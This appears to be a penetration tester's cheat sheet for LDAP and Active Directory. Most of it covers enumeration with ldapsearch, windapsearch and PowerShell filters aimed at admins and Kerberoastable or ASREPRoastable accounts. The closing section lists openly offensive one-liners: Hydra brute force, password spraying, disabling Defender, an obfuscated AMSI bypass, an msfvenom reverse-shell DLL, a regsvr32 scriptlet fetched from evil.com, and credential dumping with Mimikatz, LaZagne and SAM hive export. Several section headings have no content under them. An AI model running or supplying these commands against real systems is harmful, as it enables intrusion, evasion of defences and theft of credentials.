389 636 3268 3269 Ldap

Default port: 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.

LDAP (Lightweight Directory Access Protocol) is a protocol used to access and manage directory services over a network. A directory service is a database that stores information about users, groups, devices, and other resources in a network. LDAP is widely used in environments where directory services like Active Directory (AD), OpenLDAP, or other similar services are deployed.

LDAP is used for various purposes in IT environments, including:

User Authentication: LDAP is commonly used in conjunction with services like Active Directory to authenticate users and grant access to resources.
Centralized Management: It allows for centralized management of users, groups, and other objects across a network.
Resource Access Control: LDAP can control access to resources based on user roles and group memberships.
Information Lookup: Applications and services can query the LDAP directory to retrieve user details, contact information, and more.

https://ldapwiki.com/wiki/Wiki.jsp?page=Active Directory Group Related Searches
https://ldapwiki.com/wiki/Wiki.jsp?page=Active Directory Computer Related LDAP Query
https://ldapwiki.com/wiki/Wiki.jsp?page=Active Directory User Related Searches

Tools

ldapsearch

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract everything

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Extract users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Extract computers:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract my info:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Administrators:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Remote Desktop Group:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Total user

(Get-ADObject -LDAPFilter "(&(objectCategory=person)(objectClass=user))").Count

# Check for all Active Directory groups
Get-ADObject -LDAPFilter '(objectClass=group)' | Select name

# Find all administratively disabled user accounts
Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties * | Select samaccountname, useraccountcontrol

# LDAP Filter to find all users
(&(objectCategory=person)(objectClass=user))

# LDAP Filter to find all groups
(objectClass=group)

# LDAP Filter to find all workstations
(objectCategory=computer)

# LDAP Filter to find all domain controllers
(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))

lsadomaindump -need creds

pip3 install ldapdomaindump 
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

nmap - public info

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

windapsearch

https://github.com/ropnop/windapsearch

Windapsearch is a Python script useful to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password -U
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

python3 windapsearch.py --dc-ip 10.129.42.188 -u "" --unconstrained-user --full | grep -A 5 Protected

python3 windapsearch.py --dc-ip STMIP -u "" -s kevin.gregory

ActiveDirectory.ps1

https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps

Active Directory Search Filters – PowerShell Command Summary

🔍 Get Installed Software (Basic)

Get-CimInstance Win32_Product | fl

🔍 Filter Out Microsoft Software

Get-CimInstance Win32_Product -Filter "NOT Vendor like '%Microsoft%'" | fl

🧑‍💼 Get Specific User by Name

Get-ADUser -Filter "name -eq 'sally jones'"
Get-ADUser -Filter {name -eq 'sally jones'}
Get-ADUser -Filter 'name -eq "sally jones"'

🔠 Wildcard Search for Usernames (e.g., “joe”)

Get-ADUser -Filter {name -like "joe*"}

🖥️ Search for Computers with Hostnames Containing “SQL”

Get-ADComputer -Filter "DNSHostName -like 'SQL*'"

👮‍♂️ Find Administrative Groups (Protected by AdminSDHolder)

Get-ADGroup -Filter "adminCount -eq 1" | Select Name

👤 Find Users with Admin Rights and ASREPRoastable

Get-ADUser -Filter {adminCount -eq '1' -and DoesNotRequirePreAuth -eq 'True'}

🔥 Find Admin Users with Service Principal Names (SPNs) – Kerberoastable

Get-ADUser -Filter "adminCount -eq '1'" -Properties * |
    Where-Object servicePrincipalName -ne $null |
    Select SamAccountName, MemberOf, ServicePrincipalName | fl

Get SID

Get-ADComputer -Identity <computername> | Select-Object Name, SID

LDAP Search Filters – PowerShell Command Summary

Search Criteria

Object Identifiers (OIDs)

https://ldapwiki.com/wiki/Wiki.jsp?page=OID
https://docs.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax

Filter Types, Item Types & Escaped Characters

With LDAP search filters, we have the following four filter types:

And we have four item types:

Finally, the following characters must be escaped if used in an LDAP filter:

🔎 Find Disabled User Accounts (ACCOUNTDISABLE = 2)

Get-ADUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=2)' | Select Name

🔎 Find All Groups of a Specific User (Recursive Group Membership)

Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=Harry Jones,OU=Network Ops,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL)' | Select Name

🔍 Find Users with a Non-Empty Description Field

Get-ADUser -Properties * -LDAPFilter '(&(objectCategory=user)(description=*))' | Select SamAccountName, Description

🔐 Find Users Trusted for Unconstrained Delegation

Get-ADUser -Properties * -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' | Select Name, MemberOf, ServicePrincipalName, TrustedForDelegation | Format-List

🔐 Find Computers Trusted for Unconstrained Delegation

Get-ADComputer -Properties * -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' | Select DistinguishedName, ServicePrincipalName, TrustedForDelegation | Format-List

❗ Users with PASSWD_NOTREQD and adminCount = 1

Get-AdUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32)(adminCount=1))' -Properties * | Select Name, MemberOf | Format-List

🧑 Get Direct Group Memberships of a User

Get-ADUser -Identity harry.jones -Properties * | Select MemberOf | Format-Table -Wrap

🧾 Find All Members of a Specific Group (non-recursive)

Get-ADGroupMember -Identity "Security Operations"

🔁 RecursiveMatch for User’s Full Group Membership (Polish Notation)

Get-ADGroup -Filter 'member -RecursiveMatch "CN=Harry Jones,OU=Network Ops,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL"' | Select Name

🔢 Count All AD Users in an OU (with SearchBase)

(Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -Filter *).Count

⛔ SearchScope Base – No results (unless Get-ADObject is used)

Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -SearchScope Base -Filter *

✅ Get Just the OU Object (SearchScope Base with ADObject)

Get-ADObject -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -SearchScope Base -Filter *

➕ OneLevel SearchScope – Only direct users in OU

Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -SearchScope OneLevel -Filter *

➕ OneLevel using numeric value

Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -SearchScope 1 -Filter *

🌲 SubTree SearchScope – All nested objects

(Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -SearchScope Subtree -Filter *).Count

Built-in AD Enumeration Commands Cheat Sheet

PowerShell Cmdlets (Requires RSAT / AD Module)

PowerView (Invoke After Import)

DS Tools (Command Prompt Based)

LDAP Anonymous Bind Enumeration - Command Cheat Sheet

Check for Anonymous Bind via Python

from ldap3 import *
s = Server('<IP>', get_info=ALL)
c = Connection(s, '', '')
c.bind()  # Returns True if anonymous bind is allowed
s.info    # Shows domain naming contexts and features

Using ldapsearch (Linux Built-in Tool)

https://linux.die.net/man/1/ldapsearch

IP=
ldapsearch -H ldap://$IP -x -b "dc=inlanefreight,dc=local"

• -x = simple authentication (anonymous)
• -b = base DN to start search
• Pulls all entries (users, groups, computers)

Using windapsearch.py (Recommended Tool)

Using ldapsearch-ad.py

https://github.com/yaap7/ldapsearch-ad

python3 ldapsearch-ad.py -l 10.129.1.207 -t info

📝 Key Outputs to Look For

LDAP Credentialed LDAP Enumeration Cheat Sheet**

✅ Using 

windapsearch.py

✅ Using ldapsearch-ad.py

🔐 Key userAccountControl Flags

Other Commands

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for LDAP
  Note: |
    The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

    https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
  Name: Banner Grab
  Description: Grab LDAP Banner
  Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
  Name: LdapSearch
  Description: Base LdapSearch
  Command: ldapsearch -H ldap://{IP} -x

Entry_4:
  Name: LdapSearch Naming Context Dump
  Description: Attempt to get LDAP Naming Context
  Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
  Name: LdapSearch Big Dump
  Description: Need Naming Context to do big dump
  Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
  Name: Hydra Brute Force
  Description: Need User
  Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

# Kerberos & AD
kerbrute userenum -d domain.com userlist.txt
kerbrute passwordspray -d domain.com --password Pass123 userlist.txt
nxc smb 10.0.0.0/24 -u usernames.txt -p passwords.txt
Get-ADGroupMember -Identity 'Administrators'
net group "Domain Admins" /domain
whoami /groups
wmic useraccount get name,sid

# SMB / File Transfer
smbclient //10.10.10.10/share -U user
mount -t cifs //ip/share /mnt/windows_share -o username=Administrator,password='pass',vers=3.0
impacket-smbserver share_name /path/to/serve

# AV/EDR Evasion
Set-MpPreference -DisableRealtimeMonitoring $true
powershell -enc <base64>
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInit'+'Failed','NonPublic,Static').SetValue($null,!$true)

# Shellcode / Exploits
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > payload.dll
psexec \\target cmd.exe
rundll32.exe payload.dll,entrypoint
regsvr32 /s /n /u /i:http://evil.com/sct scrobj.dll

# Web / Enumeration
gowitness scan --input targets.txt
ffuf -u http://target/FUZZ -w wordlist.txt
dirsearch -u http://target
nikto -h http://target

# SSH Tunnels
ssh -L 3389:10.0.0.10:3389 user@jumpbox

# Linux/Windows Local
systeminfo
whoami
hostname
tasklist /svc
netstat -ano
wmic service list brief

# File movement (Linux/Windows)
scp file.txt user@host:/path
rsync -avz file user@host:/dir
cp /mnt/windows_share/file .

# Post-exploitation
Invoke-Mimikatz
LaZagne.exe
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system